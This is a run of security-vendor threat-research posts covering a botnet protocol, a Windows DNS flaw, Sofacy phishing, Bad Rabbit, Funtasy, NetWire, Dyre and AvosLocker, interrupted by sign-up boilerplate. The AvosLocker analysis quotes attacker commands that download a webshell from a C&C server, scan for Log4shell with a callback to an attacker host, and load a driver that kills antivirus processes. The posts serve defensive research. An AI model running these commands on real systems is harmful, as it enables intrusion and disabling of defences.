If the received data has 0x22 as the first set of bytes then the received data will be in the following format:  <0x22><IP Address 1(4bytes)><IP Address 2 (4bytes)>  It will also do the following UDP connection test:  If the first value in the packet is 0xC8 then the file will set "g_mainsrvinfo.srandipb" and "g_mainsrvinfo.srandipe" and "g_mainsrvinfo.udpport" to the passed in values.


If the first value in the packet is 0xCC then the file will set "g_mainsrvinfo.srandipb" and "g_mainsrvinfo.srandipe".  If the first value in the packet is 0x33 the file will use tcp to download a file and execute it.


If the first value in the packet is 0x20 the file will delete all DDoS tasks.


If the first value in the packet is 0x10 then the file will send back the current socket handle as a response back.


Currently these IP addresses are alive and active.


Palo Alto Networks strongly recommends you inspect your systems and update your firewall rules and IPS systems.  Palo Alto Networks customers with active subscriptions to Threat Prevention are protected against these threats automatically, signature #13469 was released to protect against this specific threat.


Similar to any other malware family or threat, Palo Alto Networks customers should use the entire security framework for threat mitigation and threat prevention coverage.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


This post is also available in:      日本語 (Japanese)  In July 2020, Microsoft released a security update, CVE-2020-1350 | Windows DNS Server Remote Code Execution Vulnerability, for a new remote code execution (RCE) vulnerability.


This vulnerability exists within the Microsoft Windows Domain Name System (DNS) Server due to the improper handling of certain types of requests, specifically over port 53/TCP.


Exploitation of this vulnerability is possible by creating an integer overflow, potentially leading to remote code execution.


This vulnerability only affects Windows DNS and the following builds of the Microsoft Windows operating system (OS):


As always, we recommend our customers patch their systems as soon as possible.


Microsoft also provided a workaround in cases where patches are not immediately possible.


Please review KB4569509: Guidance for DNS Server Vulnerability CVE-2020-1350 for more details.


Palo Alto Networks Threat Prevention and Cortex XDR provide protection against the exploitation of this vulnerability:  Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Overview Palo Alto Networks Unit 42 threat research team has just uncovered a new set of attacks by the Sofacy group using malicious emails targeting foreign affairs agencies and ministries in North America and Europe, including a European embassy in Moscow.


Given the significant activity attributed to Sofacy, and the new evidence directly targeting the diplomatic community, Palo Alto Networks wants to ensure that foreign affairs agencies around the world understand how the attacks are carried out, and what agencies and personnel can do to protect themselves.


The Sofacy Group (AKA APT28, Grizzly Steppe, Fancy Bear, STRONTIUM, Sednit, Tsar Team, Pawn Storm) is a well-known hacking organization widely reported to be associated with Russia by the US Intelligence Community, numerous media reports and other cybersecurity companies.


Sofacy Group has been associated with many attacks against targets around the world, including the International Olympic Committee (IOC) in 2018, the World Anti-Doping Agency in 2016, the Dutch Safety Board in 2015, and German, French, Ukrainian, and Dutch political and military targets throughout 2014 through 2018.


How the Attacks are Carried Out: Via Email


These attacks begin with an email sent to a carefully chosen target in the agency.


The recent spoofed emails we have seen are forged to appear to come from Jane’s 360 Defense Events to tell the recipient about events coming up in 2018.


The figure below shows an example.


Once the recipient opens the Excel spreadsheet, she or he does have trouble viewing the document: it opens as a blank spreadsheet.


The attackers are relying on the recipient to follow the instruction in the email and click “Enable Content”.


You can see below what the spreadsheet looks like and the enable content button.


Clicking the “Enable Content” button is the key to the attack.


While it makes the text in the spreadsheet visible and so seems to solve the problem, it’s a trick: It’s really running a program that silently installs a program on the system.


This program gives the attackers complete control over the computer and can enable them to copy documents, usernames, passwords, account information and even take screenshots.


How you can protect yourself


There are several things that you can do to help protect against these latest Sofacy attacks and others like it.


With the public awareness of this particular decoy, it is highly likely that the Sofacy group will shift their attacks to spoof emails from a different organization to continue carrying out these attacks.


Additionally, this attack technique is not exclusive to the Sofacy Group.


Therefore, these suggested actions can protect not just against these known attacks but others like it.


An unexpected email message with an attachment that says you should “enable content” has a high likelihood of being malicious in some way.


If you get an email like this, you shouldn’t open the attachment and click “enable content”.


Instead, you should verify that the message and the attachment are legitimate by contacting the sender in some way other than replying to the email (because replying to the email may go back to the attackers who will, of course, say it’s legitimate).


Or, just delete the message and report it to your security team.


Palo Alto Networks Unit 42 regularly researches threats like these and provides information about them on our blog.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


This Unit 42 blog post provides an update on the threat situation surrounding the Bad Rabbit ransomware attacks.


Attack Overview


Bad Rabbit is a ransomware attack that, at the time of this writing, appears to primarily be affecting countries in Eastern Europe.


While not spreading as widely as the Petya/NotPetya attacks, reports indicate that where Bad Rabbit has hit, it has caused severe disruption.


The Ukrainian CERT has issued an alert on Bad Rabbit.


As detailed below, Bad Rabbit gains initial entry by posing as an Adobe Flash update.


Once inside a network it spreads by harvesting credentials with the Mimikatz tool as well as using hard coded credentials.


Bad Rabbit is similar to Petya/NotPetya insofar as it encrypts the entire disk.


We are not aware of any reports of successful recovery after paying the ransom.


Because the initial attack vector is through bogus updates, Bad Rabbit attacks can be prevented by only getting Adobe Flash updates from the Adobe web site.


Reconnaissance  This attack does not appear to be targeted.


Therefore, there appears to be little reconnaissance as part of this attack.


Delivery/Exploitation


According to ESET, the initial infection vector for Bad Rabbit is through a fake Adobe Flash update that is offered up from compromised websites.


Proofpoint researcher Darien Huss has reported this fake update was hosted at 1dnscontrol[.]com.


Reports differ on whether this is delivered through social engineering that convinces the user to install the fake update or if it is delivered silently through unpatched vulnerabilities (i.e. “drive-by” installs).  Lateral Movement


Once inside a network, Bad Rabbit propagates itself to other systems.


Reports indicate that it harvests credentials using Mimikatz and Maarten van Dantzig reports it also uses common hardcoded credentials to spread.


Command and Control (C2)  At this time, we have no information on command and control for Bad Rabbit.


Conclusion  Bad Rabbit is not as widespread of an attack as Petya/NotPetya but is causing severe disruptions where it is occurring.


It is similar to Petya/NotPetya in terms of the impact of a successful attack.


However, it is a different attack with different malware.


We will update this blog with new information as it becomes available.


For information on how Palo Alto Networks products prevent Bad Rabbit, please see our Palo Alto Networks Protections Against Bad Rabbit Ransomware Attacks blog post.


As always if you have any questions, please come to the Threat & Vulnerability Discussions on our Live Community.


Version Summary  October 24, 2017 2:30 p.m. PT  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


Palo Alto Networks WildFire detected a new Android Trojan on May 7th, 2014 when a customer using our enterprise security platform downloaded the malicious application from the Google Play store.


We’ve named the malware family Funtasy, based on the domain it uses for registering compromised phones to the premium SMS service.


The first version of Funtasy we detected is a fake television remote control application.


Figure 1: Funtasy Trojan Disguised as TV Remote Control App.


A developer using the ID “fun app” published the Trojan, and the remote control application they uploaded on April 21 is their most successful app so far, with between 10,000 and 50,000 downloads on the play store.


Based on the reviews, the application does not function very well as a remote, but in reality it doesn’t contain remote control capability.


There’s no mention of a premium SMS service in the description, but a review of the permissions reveals that the program will have complete access to SMS messages.


Figure 2: Remote control app requests complete control over your SMS messages.


After the user installs the remote application and opens it, they are presented with a terms of service screen.


This is the user’s only chance to realize that opening this application is going to cost them dearly.


Figure 3: Remote control app terms of service.


If you can’t read the fine print, I don’t blame you.


Here’s the text decoded from the application’s source code.


Servicio de suscripción para usuarios Movistar, Vodafone, Orange, Yoigo, R y Simyo para mayores de edad o menores con capacidad legal para contratar, prestados por (FUNTASY MOBILE S.L., operador titular ARGATEL SOLUTIONS SL, n. atención al cliente 902 303 803 ó inf@argatel.com, apartado de correos 167, 17001 Girona.


Coste por SMS recibido 1.46 euros/sms (IVA incluido) más el coste de navegación WAP, que dependerá del operador que tenga contratado.


Máximo 10 sms/semana.


El límite máximo de facturación del servicio puede variar en función de tu operador (18 a 30 euros/mes).


Baja automática para cancelar el servicio: envía BAJA al 797977.


This message is pretty straightforward, assuming the user actually reads it.


It explains that by opening the application the reader agrees to receive up to 10 SMS messages a week at a cost of 1.46 euros each.


The maximum cost per month should between 18 and 30 euros per month.


If the user would like to unsubscribe they can text “BAJA” to 797977.


Any user who reads this message and understands it is unlikely to agree, but Funtasy does not even wait for their agreement.


While the terms page is on the screen, in the background the Trojan checks to see if the phone is attached to a network with one of the following mobile network codes (MNC):  Each of these networks is Spanish, except for a single Australian network.


This data, along with an encoded version of the Terms of Service are stored as static strings in the Android package file.


Constants.java  After determining the phone is on one of the correct networks, the malware searches for the phone’s mobile number.


It does this in three ways:


Util.java  With the phone’s number captured, Funtasy then registers the mobile account with a premium SMS service by sending an HTTP POST request to the following URL.  The request is made without the users knowledge, they have no choice to select a number.


Of course, premium SMS services require that the user confirm that they want to sign up by sending incoming SMS message containing a PIN.


Funtasy  intercepts this message, parses out the PIN and sends it back to the registration server, completing the enrollment process.


IncomingSms.java  Of course, once users begin receiving the SMS messages, they are likely to unsubscribe from the service they never really wanted.


To prevent this, Funtasy blocks the incoming messages before they are displayed to the user and modifies the time stamp on each message to make them appear to have been received 15 days earlier.


This moves it to the back of the inbox there the victim is unlikely to ever see it.


Funtasy does this even when the victim uses alternative SMS managers, like Google Hangouts or GO SMS Pro.


After evaluating the remote control app and finding malicious behavior, we decided to evaluate all of the other applications published by “fun app”, and found 12 more which all contains the exact same behavior.  Figure 4:


Additional “fun app” applications, all contain the Funtasy Trojan.


Each of these applications is designed to appear like a legitimate application already in the app store.


To raise the ranking of these apps, the author appears to have given many of them five-star ratings.


Unfortunately for them, this gave us additional insight into their operation.


To rate and comment on applications, users must have a Google account.


One account using the name “Oscar Sanchez” gave high ratings and positive comments to many of the “fun app” applications.


He also rated apps made by two additional publishers with the names "MilApps101" and "Milapps102."


Between the two of these developers they have produced five applications, and we’ve found that every one of them contains the Funtasy Trojan.


While the name “Oscar Sanchez” may be a pseudonym


, Whois data indicates it was also used to register the domain hosting the Funtasy Mobile premium SMS service.


In total we’ve found 18 different applications in the Google Play store that contain the Funtasy Trojan.


Each of these files also has the same internal class structure, which is represented by the tree structure below.


Figure 5: Funtasy internal class structure.


Researchers interested in investigating them further can find more information in the table below.


Using this Trojan the attacker could be generating up to 30 euros per month for over 67,000 infected mobile phones.


That adds up to 2 million euros per month, but the actual number is likely much lower.


Many of the users who downloaded the tool may not be using one of the targeted Spanish or Australian networks.


Figure 6: List of Android APK files infected with Funtasy Trojan


Users who want to defend against the Funtasy Trojan should not rely on traditional antivirus programs, as they do not currently detect this threat.


Common sense is the best defense against these types of abusive programs.


While many users breeze past the list of permissions required when installing new apps, readers of this blog should ask themselves, “Does my electronic bible need to read my SMS messages?”  Sign up to receive the latest news, cyber threat intelligence and research from us


Please enter your email address!


Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


On July 22, Palo Alto Networks threat intelligence team, Unit 42, released our first report on the evolution of “Silver Spaniel” 419 scammers.


Of particular note is how these actors use a Remote Administration Tool (RAT) named NetWire (part of the NetWiredRC malware family).


This RAT gives a remote attacker complete control over a Windows, Mac OS X, or Linux system through a simple graphical user interface.


To better understand this RAT, our team reverse engineered the communication protocol that NetWire uses.


Today we have released a tool that decrypts NetWire traffic and outputs any commands issued by the attacker.


NetWire uses a custom, TCP-based protocol.


The producer of the NetWire WorldWiredLabs, states that the tool uses 256-bit AES encryption, which we found to be accurate.


The tool generates two encryption keys using a static password that the attacker chooses when creating the NetWire binary.


Each packet has the following structure:  < 4 Byte Little-Endian length > < 1 Byte Command >


< Data >


The shortest possible packet is the “HeartBeat” command, which NetWire generates every 10 seconds.


The initial packet from the client to the server shows a data and command length of 65 bytes (0x41 listed at the beginning of the packet) with a command byte of 0x03.  Within that data is a 32-byte seed value followed by a 16-byte initialization vector (IV) value.


The client then combines the 32-byte seed value with the static password in a predetermined fashion to form an AES key.


Upon receiving the initial packet, the server uses the seed value and password to generate the client’s session key.


It then generates its own 32-byte seed value to create it’s own session key and sends the seed value to the client.


The client combines this with the password and generates the same key.


At this point, the key exchange is complete and both client and server hold the same two keys, which they can use to encrypt and decrypt traffic.


With the two keys in place, the malware uses the AES algorithm to encrypt traffic using Output Feedback (OFB) mode (Picture courtesy of Wikipedia).  The output of the block cipher encryption is eXclusive OR’ed (XOR’d) with 16 bytes of ciphertext to decrypt.  Each subsequent block of ciphertext will use the previous encrypted data as the IV passed into the block cipher encryption function.


The malware has a full suite of possible commands, 76 to be exact.


Upon receipt of a command from the server, a single function is called to decrypt the payload data and execute the received instruction.


The value in the command byte determines which of the commands is run through a 76 way switch statement.


A complete list of the possible commands available in NetWire was documented by CIRCL in April.  The NetWire decoder uses data from a packet capture file to generate the client and server session keys then decode the remaining encrypted packets.


The user needs to know the IP of the infected client, the port used by malware and the encryption password to properly decode the traffic.


This password is set to “Password” by default, but can be retrieved from NetWire binaries if the attacker used something more secure.


The usage for the tool is show below.


At this time the tool works against the latest version of NetWire, 1.5c.


We hope this tool will be valuable to incident responders and others who are plagued by NetWire infections.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


Unit 42 has recently been investigating a new malware family called Reaver.


While we have identified it as being active since late 2016, Reaver has been used sparingly, with only a small number of unique samples identified.


Its targets have been movements the Chinese government consider dangerous, also known as the “Five Poisons.”


We found that the Reaver malware family has shared command-and-control (C2) infrastructure overlap SunOrcal malware, and that these have been used concurrently since late 2016.


While investigating Reaver we recently also discovered a new variant of the SunOrcal malware family.


While the SunOrcal malware family has been confirmed to have been active since 2013, possibly even earlier, this new variant has been observed targeting regions outside of the typical target radius for this threat group, now expanding to include Vietnam and Myanmar.


How it Works


Emails were sent to targets containing malicious attachments.


Targeting a Vietnamese speaking audience, one of the malicious documents mentions Donald Trump and the disputed South China Sea area.


This is a classic lure technique – including something the target will find interesting or important causing them to open the file and download the malware on to the victims’ system.


How to Defend Against it These malware attacks utilize email phishing, and relies on targets opening the malicious email attachment.


Security awareness is critical to avoid falling victim to such an attack.


General email best practices:  If you are unsure of the legitimacy of the email, contact the sender directly over the phone or by typing a trusted URL directly in your browser or saved bookmark.


Additionally, keeping your systems and devices updated with the most current operating system and web browser is a general security best practice, as well as enabling multi-factor authentication to prevent an attacker from abusing credentials should they successfully capture them


For a moment, put yourself in the shoes of a cyber criminal.


You’ve collected an array of tools (malware), built up your infrastructure (command and control (C2) servers) and you have a process to make money off your hard work.


You wake up on Monday morning and the domains your carefully built malware uses for command and control are shut down.


Some security researcher has taken control of them, completely halting your operation.


This would certainly be good news to anyone reading this blog, but for the criminal it’s a big setback and source of frustration.


These kinds of takedowns are the impetus for some of the most impressive developments in malware technology over the last decade.


Once attackers have infected a PC through some exploit or social engineering, one of their major challenges is keeping control of that system.


Antivirus programs running on the PC are trying eradicate the threat, the command and control domains and IPs are being added to denylist and blocked by networks around the world.


Many malware authors have taken to building complex mechanisms to ensure that their malware is resistant to these kind of blocks and takedowns.


Some of the more innovative mechanisms include:  These mechanisms are often only used when the primary (and simpler) C2 mechanism has been shut down, but their use makes shutting down a botnet much more challenging.


Last year we highlighted two malware families on this blog: CryptoWall 2.0 and Dyreza/Dyre.


CryptoWall is one of multiple ransomware families that generated income for the attacker by encrypting files on the infected PC with a private key that is in the control of the attacker.


The attacker then charges a ransom (normally around $500) to give up the key that will unlock the files.


In October, CryptoWall 2.0 began using the Tor anonymity network to serve web pages to infected users who wanted their encrypted files back.


In this case a legitimate service (Tor) was being abused by CryptoWall so it could avoid having its C2 servers shut down.


In the past few weeks we've seen another anonymity network, I2P, being abused by both the latest version of CryptoWall (3.0) and the Dyre banking Trojan.


While I2P is far less popular than Tor, it provides similar functionality to the user.


I2P is an overlay network on top of the Internet that creates encrypted links between nodes that are running the I2P software.


I2P users can access specific I2P services that are only accessible on I2P, or access Internet resources without exposing their IP address.  In the case of CryptoWall 3.0, the malware is attempting to access multiple .i2p resources only accessible through I2P, also known as “eepSites.”  The CryptoWall 3.0 uses I2P in the same way CryptoWall 2.0 used Tor, to give victims access to a decrypting service to get their files back.


The Dyre banking Trojan has multiple C2 mechanisms, including encrypted HTTPS requests to a list of hard-coded IP addresses, a DGA generating 1,000 new domains each day as well as an I2P based plugin.


These many C2 mechanisms make Dyre much more difficult to fully take down than a simple single (or small group) of C2s.


the following IP address are known Dyre C2 servers.


It’s not possible to list all of the domains generated by the DGA, which is the main advantage of this mechanism.  To protect your network from the I2P communication used by both Dyre and CryptoWall 3.0, the easiest route is simply to identify I2P traffic and block it completely.


While there are certainly many legitimate reasons to use an anonymity network, many organizations should be wary of I2P (or Tor) traffic transiting their network.


Palo Alto Networks App-ID technology can identify I2P traffic as well 51 other tunneling applications.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


In recent research, Palo Alto Networks found attackers were creating fake versions of some well-known and well-trusted websites – including Adobe, DropBox, Facebook, and others- and putting malicious links to these sites into phishing emails sent to unsuspecting victims.


Here we explain this type of attack and what you should do.


What is it?


A method attackers use to target you using email that you might not know about.


Why should I care, what can it do to me?


Attackers can gain access to your personal and financial information.


They can also steal your computer’s processing power to mine for cryptocurrencies, which slows down your system.


How can I prevent it?


Avoid clicking on links that you get in email.


If you get an email and need to go to that website, type the address in your web browser yourself.


If the link is an email from someone you know, you can also contact them to find out if they meant to send it, and if it is safe to visit.


What causes it?


Attackers know that people will click on links in email.


Especially when you get an email from someone that looks like someone you trust.


How does it work?


Attackers send emails that appear to be from a person or company that you trust.


These emails contain malicious links that, when clicked on, lead you to an attacker’s page.


In addition to taking steps so the attacker’s page mimics a legitimate one,  attackers often mirror well known security images, like the lock symbol, to convince you that you are on a secure site.


Once you’re on the attacker’s page, the attackers may ask you for personal information (like usernames, passwords, and bank account information) or to install software, or both.


In recent research, we found attackers were using fake versions of some well-known and well-trusted sites:


About: Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.


They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.


Got a topic you want us to write about for you, your friends, or your family?


Email us at u42comms@paloaltonetworks.com.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


In February, Microsoft awarded $100,000 to Yu Yang (@Tombkeeper) for reporting a new mitigation bypass technique as part of Microsoft’s Bounty Program.


Yu later demonstrated his research at CanSecWest in March.


In his slides, he mentioned that a "god mode" of Internet Explorer could be turned on by a one byte overwrite.


However, he had to heavily redact this information due to an agreement between himself and Microsoft.


After his slides were released, researchers began working to determine what the missing parts were.


And before long, Yuki Chen (@guhe120), a Chinese researcher, posted his answer.


Although the code was removed soon after posting, a copy was still maintained and used by Metasploit.


Following this code, another researcher posted his VB script version using more advanced techniques.


Yu Yang then pasted his shellcode that used similar methods to run arbitrary code, showing that the method Yuki Chen used is exactly the one that won Yu the $100,000 award.


The main idea of new exploitation technique is to alter a flag that is used to control the security setting of an ActiveX object.


If an attacker could modify it, then any script can be run, such as downloading and executing a PE file, without any notification or alert.


Further details were discussed in depth last month on Rapid7’s blog.


The most interesting aspect of this method is that it could bypass all existing mitigation techniques including DEP/ASLR/EMET, and it also defeats some academic methods such as Control Flow Integrity (CFI).


So this raises another question: If there are no mitigation functions, do we have any other ways to defend against attacks similar to this?


The first line of defense is the IPS.


Although an attacker can use a variety of obfuscation techniques for HTML, we are still able to extract some features to create signatures.


To address such an issue, we’ve created signatures 36442, 36468, and 36469 to provide coverage for the security flag overwrite.


Although we are not aware of any attacks using this technique, these signatures have proven effective in our testing against code publicly available on the Internet.  When we take a closer look at the three exploits in our blog post last month, we see that various exploit techniques are based on a singular condition, which is arbitrary memory access.


Only when attackers have the right to read/write any address can they utilize either Flash or ActiveX methods to get code execution.


If we went even further, all three vulnerabilities are Use-After-Free bugs.


The three vulnerabilities each contain code to alter a user-controlled address, and the code can be distilled down to the following operations:


Here, xyz indicates a user-controlled address that contains the length of a vector object or length of an Int32Array.


Using these operations, attackers are able to modify the length values to create an object with an incorrect size, which will allow for read and write operations to occur in memory that is not part of the vector object.


The attackers can then use this object to perform further operations such as modification of security flag in ActiveX.  To prevent such attacks, a better idea is to detect if an arbitrary address is accessed during execution.


In WildFire, we added modules for web browser scripts and third party plugins such as Flash.


One such module leverages the fact that the length of a vector object is always consistent with memory allocation, which means we can deduce the memory usage from the sum of the length of all allocated vectors.


If the calculated value does not match the real value, it indicates some of the vector objects may have been modified.


Using this method, we are able to provide length checking for Flash vector objects.


This module validates the accessing behavior at runtime.


If the length were suspicious, the detection module stops the malicious operation.


Through our enterprise security platform, including IPS and WildFire, we continue to innovate and prevent advanced exploitation techniques.


Leave a comment below let us know what you think.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


We found samples of AvosLocker ransomware that makes use of a legitimate driver file to disable antivirus solutions and detection evasion.


While previous AvosLocker infections employ similar routines, this is the first sample we observed from the US with the capability to disable a defense solution using a legitimate Avast Anti-Rootkit Driver file (asWarPot.sys).


In addition, the ransomware is also capable of scanning multiple endpoints for the Log4j vulnerability Log4shell using Nmap NSE script.


Infection chain      Figure 1. AvosLocker infection chain      According to our analysis, the suspected entry point is via the Zoho ManageEngine ADSelfService Plus (ADSS) exploit:      Figure 2.


The ADSS exploit abusing CVE-2021-40539     Due to the lack of network traffic details, we could not identify the exact CVE ID of the security gap the attacker used.


However, there are some indications that they abused the same vulnerability previously documented by Synacktiv during a pentest, CVE-2021-40539.


The gap we observed was particularly similar to the creation of JSP files (test.jsp), execution of keytool.exe with “null” parameters to run a crafted Java class/code.


Mapping the infection


The ADSS JAVA component (C:\ManageEngine\ADSelfService Plus\jre\bin\java.exe) executed mshta.exe to remotely run a remotely-hosted HTML application (HTA) file from the attackers’ command and control (C&C) server.


Using Trend Micro™ Vision One™, we mapped out the processes that the infection performed to spawn the process.


Figure 3. Remotely executing an HTA file from the C&C server.


Screenshots taken from Trend Micro Vison One.


Figure 4. HTA file connecting to the C&C


A closer look at the HTA file revealed that the mshta.exe downloads and executes the remotely hosted HTA file.


The HTA executed an obfuscated PowerShell script that contains a shellcode, capable of connecting back to the C&C server to execute arbitrary commands.


Figure 5.


Obfuscated PowerShell script contains a shellcode


The PowerShell process will download an ASPX webshell from the C&C server using the command < cmd.exe /c powershell -command Invoke-WebRequest -Uri hxxp://xx.xx.xx.xx/subshell.aspx -OutFile /ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide >.


According to Synacktiv’s research, with this command, the downloaded ASPX webshell is downloaded from a remote IP address and saved to the directory, and still accessible to the attacker.


The attackers gathered system information using available tools such as whoami and systeminfo, as well as PowerShell commands.


Figure 6.


Gather system information     The code executes on the current domain controller to gather the username information, while the query user information gathers data about user sessions on a Remote Desktop Session Host server, name of the user, session ID, state of the session (either active or disconnected), idle time, date, and time the user logged on.


Figure 7. Executed with the /domain argument to collect username information      Figure 8.


query user information for session data


The PowerShell downloads, installs, and allows the remote desktop tool AnyDeskMSI through the firewall.


Figure 9. The PowerShell downloading and installing AnyDeskMSI


We observed that a new user account was created, added to the current domain, and included in the administrator group.


This ensures the attacker can have administrative rights to the infected system.


The attackers also checked the running processes in the system via TaskList to check for antivirus processes running in the infiltrated system.


Figure 10. Creating a new account with admin rights      Figure 11. Checking for antivirus processes running     During the scan, we observed an attempt to terminate security products initiated via TaskKill.


Testing the sample with Trend Micro Vision One, the attempt failed as its sensors were still able to send activity data to the platform.


Figure 12.


Terminating security products running     Tools and functions


Additional tools and components were copied to the compromised machine using AnyDeskMSI to scan the local network and disable security products.


The tools transferred using AnyDesk are:  Netscan: To scan for other endpoints Nmap (log4shell.nse): To scan for Log4shell vulnerable endpoints Hacking tools Mimikatz and Impacket: For lateral movement PDQ deploy: For mass deployment of malicious script to multiple endpoints Aswarpot.sys: For disabling defense solutions.


We noted that it can disable a number of antivirus products, previously identified by Aon’s researchers.


Figure 13. Copying tools and other malicious components to the compromised machine using AnyDesk


We found an Avast anti-rootkit driver installed as service 'asWarPot.sys' using the command sc.exe  create aswSP_ArPot2 binPath= C:\windows\aswArPot.sys type= kernel.


It installs the driver file in preparation for disabling the running antivirus product.


We noted the unusual use of cmd.exe for execution of the file.


Figure 14.


Executing the anti-rootkit driver in the system


Mimikatz components were also copied to the affected machine via AnyDeskMSI.


However, these components were detected and deleted.


Figure 15.


Detecting and deleting Mimikatz      We observed the PowerShell script disabling the security products by leveraging aswarpot.sys (a legitimate Avast Anti-Rootkit Driver).


A list of security product processes was supplied and subsequently terminated by the driver.      Figure 16.


Listing


and


terminating the security products found running in the compromised system


Verification: Manual replication of antivirus disabling routine


We manually replicated the routine and commands for disabling the defense solutions to further look into the routine.


Figure 17 shows the list of processes that the routine searches on infection :  EndpointBasecamp.exe Trend Micro Endpoint Basecamp ResponseService.exe PccNTMon.exe SupportConnector.exe AOTAgent.exe CETASvc.exe CETASvc iVPAgent.exe tmwscsvc.exe TMResponse AOTAgentSvc TMBMServer iVPAgent Trend Micro Web Service Communicator Tmccsf Tmlisten Ntrtscan TmWSCSvc       Figure 17.


Searching for processes     We found that aswArPot.sys, registered as aswSP_ArPot2 as a service, is used as the handle for the following DeviceIoControl call.


Figure 18.


Driver file preparing to disable an antivirus product     The DeviceIoControl function is used to execute parts of the driver.


In this case, the DeviceIoControl is inside a loop that iterates through the list of processes mentioned above.


Additionally, we can see that 0x9988C094 is passed to DeviceIoControl as an argument simultaneous to the ID of the current process in the iteration.


Figure 19.


DeviceIoControl as an argument with the current process ID


Inside aswArPot.sys, we saw 0x9988C094 in a switch case with a function sub_14001DC80 case.


Inside function sub_14001DC80, we can see that that function has the capability to terminate a given process.


Figure 20. 0x9988C094 in a switch case with sub_14001DC80 (above), with the latter value terminating a process (below).


Other executions and lateral movement


After disabling the security products, the actors behind AvosLocker again tried to transfer other tools, namely Mimikatz and Impacket.


Figure 21. Execution of Mimikatz (above) and Impacket via C:\temp\wmiexec.exe (below)


We also observed the execution of a password recovery tool XenArmor with C:\temp\pass\start.exe.


Figure 22. XenArmor password recovery tool execution


We observed the attackers using an NMAP script to check for Log4shell, the Apache Log4j remote code execution (RCE, with ID CVE-2021-44228) vulnerability across the network.


They used the command nmap  --script log4shell.nse --script-args log4shell.waf-bypass=true --script-args log4shell.callback-server=xx.xx.xx.xx:1389 -p 80,443 xx.xx.xx.xx/xx, and set the callback server to the attacker group C&C server.       Figure 23.


Checking for log4shell     We also observed more system network configuration discovery techniques being run, possibly for lateral movement as it tried looking for other available endpoints.


Figure 24. Running more system network configuration discovery scans


Deploying across the network We saw software deployment tool PDQ being used to deploy malicious batch scripts to multiple endpoints in the network.


Figure 25. Deploying malicious batch scripts to other endpoints     The deployed batch script has the following commands:  Disable Windows Update and Microsoft Defender       Figure 26. Disable Microsoft defense services      Prevents safeboot execution of security products       Figure 27. Prevent security products’ execution      Create new administrator account       Figure 28. Create new account      Add the AutoStart mechanism for the AvosLocker executable (update.exe)       Figure 29. Add Autostart for ransomware executable      Disables legal notice caption       Figure 30. Disable legal notice      Set safeboot with networking and disables Windows Error Recovery and reboot       Figure 31. Setting and disabling network and specific Windows functions     Conclusion


While AvosLocker has been documented for its abuse of AnyDesk for lateral movement as its preferred application, we note that other remote access applications can also be abused to replace it.


We think the same can be said for the software deployment tool, wherein the malicious actors can subsequently decide to replace and abuse it with other commercially available ones.


In addition, aside from its availability, the decision to choose the specific rootkit driver file is for its capability to execute in kernel mode (therefore operating at a high privilege).


This variant is also capable of modifying other details of the installed security solutions, such as disabling the legal notice.


Other modern ransomware, such as Mespinoza/Pysa, modify the registries of infected systems during their respective routines to inform their victims that they have been compromised.


Similar to previously documented malware and ransomware groups, AvosLocker takes advantage of the different vulnerabilities that have yet to be patched to get into organizations’ networks.


Once inside, the continuing trend of abusing legitimate tools and functions to mask malicious activities and actors’ presence


grows in sophistication.


In this case, the attackers were able to study and use Avast’s driver as part of their arsenal to disable other vendors’ security products.


However, and specific to this instance, the attempt to kill an antivirus product such as this variant’s TaskKill can also be foiled.


In this example using Trend Micro Vision One, the attempt was unsuccessful likely due to the product’s self-protection feature, which allowed the sensors to continue sending data and block the noted routine.


The visibility enabled by the platform allowed us as researchers to capture the extent of this ransomware’s attack chain and replicate the driver file being abused to verify its function during compromise.


Avast responded to our notification with this statement: "We can confirm the vulnerability in an old version of our driver aswArPot.sys, which we fixed in our Avast 21.5 released in June 2021.


We also worked closely with Microsoft, so they released a block in the Windows operating system (10 and 11), so the old version of the Avast driver can't be loaded to memory.


The below example shows that the blocking works (output from the "sc start" command):


(SC) StartService FAILED 1275:                This driver has been blocked from loading


The update from Microsoft for the Windows operating system was published in February as an optional update, and in Microsoft's security release in April, so fully updated machines running Windows 10 and 11 are not vulnerable to this kind of attack.


All consumer and business antivirus versions of Avast and AVG detect and block this AvosLocker ransomware variant, so our users are protected from this attack vector.


For users of third-party antivirus software, to stay protected against this vulnerability, we recommend users to update their Windows operating system with the latest security updates, and to use a fully updated antivirus program."


Indicators of Compromise (IOCs)       File SHA256 Detection Malicious batch file component a5ad3355f55e1a15baefea83ce81d038531af516f47716018b1dedf04f081f15


Trojan


BAT.KILLAV.YACAA


